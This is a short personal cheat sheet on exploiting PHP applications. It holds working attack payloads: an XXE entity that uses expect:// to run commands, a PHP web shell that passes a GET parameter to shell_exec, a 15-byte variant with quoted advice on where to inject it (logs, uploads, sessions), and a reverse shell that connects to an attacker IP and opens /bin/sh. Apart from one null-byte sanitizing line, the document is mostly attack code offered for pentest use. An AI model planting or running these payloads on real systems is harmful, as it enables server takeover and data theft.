Exploiting PHP

author: Nathan Acks
date: 2022-07-11

RCE via XXE

RCE through XEE is apparently rare, but can be achieved via the PHP expect module.

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxerce SYSTEM "expect://id">]>
<root>&xxerce;</root>

The Poison Null Byte

PHP string parsing is susceptible to the poison null byte.

The best way to defend against these attacks is to simply sanitize strings by explicitly removing any null bytes they contain.

$sanitized_string = str_replace(chr(0), '', $original_string);  

Web-Based RCE

<?php
	echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>";
?>

A slightly spruced-up version of this is available on Kali Linux as /usr/share/webshells/php/simple-backdoor.php.

On space-constrained systems, you can compact this down to just 15 bytes:

<?=`$_GET[1]`?>

Relevant Twitter Thread

Did you know the shortest payload to achieve code execution in PHP is only 15 bytes long ? 🤯 If you can inject it in a page on the site you will achieve remote code execution! This is really useful in BugBounty or pentest when you have a limited input size. (Podalirius) (Twitter)

To trigger the code execution, you have to find a way to access your injected page (direct access or inclusion) and add this GET parameter to the URL: http://localhost:8000/rce.php?1=id (Podalirius) (Twitter)

This payload can be used to be reflected in many files on a web application, for example you can put it: (1) In metadata, (2) somewhere in the logs, (3) in an uploaded file that you control, (4) in your PHP session (it will be written to a file) (Podalirius) (Twitter)

Reverse Shell

Check out /usr/share/webshells/php/php-reverse-shell.php on Kali Linux. Note that this only works on UNIX-like systems.

Alternately, a very simple shell (suitable for running at the command line):

$attacker_ip = "10.0.0.1";
$attacker_port = 1234;

$sock = fsockopen($attacker_ip, $attacker_port);

exec("/bin/sh -i <&3 >&3 2>&3");

Catch it with netcat or socat.